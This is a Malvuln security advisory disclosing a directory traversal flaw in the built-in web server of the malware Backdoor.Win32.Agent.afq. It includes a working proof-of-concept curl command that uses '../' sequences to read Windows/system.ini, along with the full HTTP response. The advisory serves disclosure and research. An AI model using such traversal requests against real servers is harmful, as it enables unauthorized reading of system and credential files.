BACKDOOR.WIN32.AGENT.AFQ / Directory Traversal

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.afq
Vulnerability: Directory Traversal
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. The server allows third-party attackers to read arbitrary files outside of its root directory via ../ character sequences in the pathname.  
Type: PE32
MD5: 853754de6b8ffbe1321a8c91aab5c232
Vuln ID: MVID-2021-0189
Dropped files: 
Disclosure: 04/27/2021

Exploit/PoC:
curl http://192.168.88.127:8080/../../../../../../Windows/system.ini -v
* Rebuilt URL to: http://192.168.88.127:8080/Windows/system.ini
*   Trying 192.168.88.127...
* TCP_NODELAY set
* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)
GET /Windows/system.ini HTTP/1.1
Host: 192.168.88.127:8080
User-Agent: curl/7.55.1
Accept: */*

HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Date: Tue, 27 Apr 2021 01:33:58 GMT
Server: UberWWW v. 1.1
Content-Type: application/octet-stream
Connection: close

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
* Closing connection 0


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